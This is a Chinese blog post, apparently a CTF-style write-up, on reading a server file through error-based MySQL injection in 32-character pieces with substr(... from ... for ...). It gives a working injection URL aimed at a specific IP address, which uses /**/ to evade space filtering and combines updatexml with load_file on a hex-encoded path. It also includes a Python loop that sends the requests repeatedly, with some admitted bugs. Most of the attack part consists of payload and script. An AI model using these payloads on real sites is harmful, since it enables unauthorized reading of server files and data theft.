zoukankan      html  css  js  c++  java
  • SQL注入文件读取通过from for分页读取

    http://103.238.227.13:10088/?id=1

    在读取文件的时候发现不能够一下子全部读取出来。经过百度学习了一下,看到别人使用from for说实在此前真不知道这操作。

    先来看一下from for吧

     1 mysql> select database();
     2 +------------+
     3 | database() |
     4 +------------+
     5 | typecho    |
     6 +------------+
     7 1 row in set (0.00 sec)
     8 
     9 mysql> select substr(database() from 1 for 2);
    10 +---------------------------------+
    11 | substr(database() from 1 for 2) |
    12 +---------------------------------+
    13 | ty                              |
    14 +---------------------------------+
    15 1 row in set (0.00 sec)
    16 
    17 mysql> select substr(database() from 2 for 3);
    18 +---------------------------------+
    19 | substr(database() from 2 for 3) |
    20 +---------------------------------+
    21 | ype                             |
    22 +---------------------------------+
    23 1 row in set (0.00 sec)
    #说明前面一个数字是从第几个开始读取,最后的一个数字是读取的长度。

    大概懂了吧,就是起到一个分页的效果。

    那么再用到注入里自然就OK了。

    PS:过滤了空格可以用使用/**/进行替换,还有就是updatexml最多只能显示32位的长度,所以for的数字是32。

    http://103.238.227.13:10088/?id=1/**/and/**/updatexml(1,concat(1,(select/**/substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))from/**/1/**/for/**/32)),1),1)

    然后写一个脚本吧from后面的数字每次+32,for也要加就可以了。

    以下脚本待完善。

     1 #!/usr/bin/env python
     2 #encoding:utf-8
     3 #by i3ekr
     4 
     5 import requests,re
     6 from lxml import etree
     7 n1 = 1
     8 n2 = 32
     9 
    10 for i in range(0,100):
    11     url ="""
    12 http://103.238.227.13:10088/?id=1/**/and/**/updatexml(1,concat(1,(select/**/substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))from/**/%d/**/for/**/%d)),1),1)
    13     """%(n1,n2)
    14     html = requests.get(url,timeout=5).text
    15     print(html)
    16     result=re.findall(html,"[A-Z][0-9][A-Z][0-9]")
    17     result = re.findall("[A-Z][0-9][A-Z][0-9]{29}",html)
    18     print(result)
    19     n1+=31
    20     n2+=32
  • 相关阅读:
    GJM :动作手游实时PVP 帧同步(客户端)[转载]
    GJM :多人在线游戏的设计思路
    GJM : 中断被Socket.Accept阻塞的线程
    GJM :异步Socket [转载]
    GJM :C#开发 异步处理是目的,多线程是手段
    GJM : FlatBuffers 与 protobuf 性能比较 [转载 ]
    GJM : Protobuf -NET 相比Json 传输速度只需要1/3 解析只需要1/10
    GJM : Unity3D结合ZXING制作二维码识别
    GJM : Unity3D 常用网络框架与实战解析 【笔记】
    javascripct数组
  • 原文地址:https://www.cnblogs.com/nul1/p/9297045.html
Copyright © 2011-2022 走看看